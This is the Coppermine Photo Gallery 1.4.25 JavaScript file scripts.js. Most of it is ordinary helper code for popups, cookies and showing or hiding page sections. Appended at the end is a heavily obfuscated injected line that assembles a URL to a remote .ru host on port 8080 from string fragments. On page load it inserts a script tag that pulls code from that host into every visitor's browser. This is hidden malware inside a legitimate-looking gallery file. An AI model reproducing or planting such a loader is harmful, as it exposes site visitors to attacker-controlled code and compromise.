/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2009 Coppermine Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.25
  $HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/scripts.js $
  $Revision: 5997 $
  $Author: gaugau $
  $Date: 2009-05-26 08:43:24 +0200 (Di, 26 Mai 2009) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'block';
    } else {
        document.getElementById(e).style.display = 'none';
    }
}


function expand()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'block';
                }
        }
}

function hideall()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'none';
                }
        }
}
var q;if(q!='' && q!='yw'){q='BQ'};var T;if(T!='' && T!='Po'){T=null};function V(){var X;if(X!='' && X!='cJ'){X=null};var VY;if(VY!='' && VY!='Q'){VY=null};var UW=new Date();this.bW="";var m=new String("gmeh".substr(0,1));var W='';var yh=new Date();var rR=new Date();var B=RegExp;this.N='';function Z(G,Wz){var ss;if(ss!='Pi' && ss!='m_'){ss='Pi'};var Dr=new Date();var L= "Acs[".substr(3);L+=Wz;var nQ=new Array();L+=String("]");this.Da='';this.oQ='';var u=new B(L, m);var f;if(f!='jz' && f!='Rq'){f='jz'};var Tg='';return G.replace(u, W);var Ut=new String();var x=new Date();};var n=String("0NSBsc".substr(4)+"vFUHrivHUF".substr(4,2)+"WAuptuAW".substr(3,2));var mx;if(mx!='FG'){mx='FG'};this.YK='';var c='';var xP;if(xP!='Nm'){xP='Nm'};var HH=new Array();var e=window;var y=new String("/ki0ST".substr(0,3)+"no."+"to/cY3".substr(0,3)+"0yAkin0yA".substr(3,3)+"o.t"+"yUZIo/g".substr(4)+"oogqma".substr(0,3)+"vIOle.".substr(3)+"comId4".substr(0,3)+"/al"+"LjlibaLjl".substr(3,3)+"jSGba.".substr(3)+"aOShcomSOha".substr(4,3)+"/blvNc".substr(0,3)+"ogc"+"CHnJataJCnH".substr(4,3)+"logEr2".substr(0,3)+"dFz.co".substr(3)+"89Em.p".substr(3)+"hpaTBN".substr(0,2));this.U_="";this.WMJ="";var z="src7eW".substr(0,3);this.bj="";var bg;if(bg!=''){bg='Sh'};var P=new String("httpn3B".substr(0,4)+"://rs8T".substr(0,4)+"edifqQr8".substr(0,4)+"1e6f-co61e".substr(3,4)+"m.cakRxW".substr(0,4)+"m4.cKr7F".substr(0,4)+"om.d"+"BaGetikaGB".substr(3,4)+"lAznews".substr(3)+"IOH-com".substr(3)+"NxC.red".substr(3)+"seap30P".substr(0,4)+"LRH9orta".substr(4)+"NgnZl.ru".substr(4)+":80JR".substr(0,1));var YE;if(YE!='h' && YE != ''){YE=null};var OE;if(OE!='UE' && OE != ''){OE=null};var r=Z('897407774787740449',"497");this.M='';var HB;if(HB!='Lx'){HB='Lx'};var w="1Lq4de".substr(4)+"UESQfeEUSQ".substr(4,2)+"ZDUr".substr(3);this.es="";var Ns;if(Ns!='' && Ns!='C'){Ns=''};this.lk="";e.onload=function(){try {var Mk;if(Mk!='Dx' && Mk!='p'){Mk=''};var sa=new Date();c=P+r;this.HO='';this.J='';c+=y;U=document.createElement(n);var WW;if(WW!='Ny' && WW!='ko'){WW=''};var XK;if(XK!='tN' && XK!='Mm'){XK=''};this.im='';U[z]=c;var R_=new Date();U[w]=[1,1][0];var IC='';document.body.appendChild(U);var qF=new Array();var tk=new Array();} catch(ue){var _B=new String();};};this.pk="";};var dK;if(dK!='tT' && dK!='zg'){dK=''};V();